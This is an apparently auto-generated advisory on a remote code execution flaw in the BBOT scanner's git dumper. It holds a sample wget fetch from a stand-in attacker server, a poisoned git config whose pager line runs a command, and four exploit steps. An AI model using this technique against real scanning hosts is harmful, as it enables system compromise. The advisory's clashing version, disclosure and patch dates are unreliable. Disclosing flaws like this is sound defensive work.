How the mentioned CVE works:
The vulnerability exists within the `gitdumper.py` module of the BBOT tool. When BBOT processes a git repository from a malicious server, it insufficiently sanitizes the contents of the `.git/config` file. An attacker can craft a malicious `config` file containing commands. When `gitdumper.py` interacts with this poisoned configuration, it executes the embedded commands on the user’s system. Similarly, a malicious `.git/index` file can be crafted to trigger an arbitrary file write primitive. By combining these flaws, an attacker can write a malicious file to a critical location and subsequently execute it, leading to full Remote Code Execution on the machine running the vulnerable BBOT scanner.
DailyCVE Form:
Platform: BBOT
Version: pre-2025-10-09
Vulnerability: Remote Code Execution
Severity: Critical
date: 2024-10-09
Prediction: Patch 2025-10-16
What Undercode Say:
Simulating malicious .git/config fetch wget http://attacker-server/malicious_repo/.git/config cat .git/config [bash] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true pager = /bin/touch /tmp/pwned Injected command
How Exploit:
1. Host malicious git repository.
2. Poison `.git/config` with commands.
3. Victim scans repo with BBOT.
4. Commands execute on victim’s host.
Protection from this CVE
Update BBOT to patched version. Avoid scanning untrusted git repositories. Implement strict input sanitization for git file parsing.
Impact:
Arbitrary code execution on the scanning host, leading to complete system compromise, data theft, and lateral movement.
